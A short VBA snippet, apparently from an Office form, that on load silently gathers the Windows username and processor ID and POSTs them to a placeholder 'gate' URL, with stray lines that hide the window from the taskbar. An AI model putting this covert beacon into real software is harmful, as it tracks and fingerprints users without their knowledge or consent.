Private Sub UserForm_Initialize()
    Call Me.httpRequest
End Sub

Sub httpRequest()
    Dim URL As String, Flags As Long, TargetFrame As String, Header As String, Post() As Byte
    Dim pid As String, WMI, Items, Item
        Set WMI = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\.\root\cimv2")
        Set Items = WMI.ExecQuery("Select * from Win32_Processor")
        For Each Item In Items
            pid = Item.ProcessorId
        Next
    URL = "http://domain.ltd/gate/"
    Flags = 0
    TargetFrame = ""
    Post = StrConv("mode=main&uid=" & Environ("USERNAME") & "&pid=" & pid, vbFromUnicode)
    Header = "Content-Type: application/x-www-form-urlencoded" & vbCrLf
    Me.MarkerChooser.Navigate URL, Flags, TargetFrame, Post, Header
End Sub

application.ShowWindowsInTaskbar = False  
application.ShowWindowsInTaskbar = True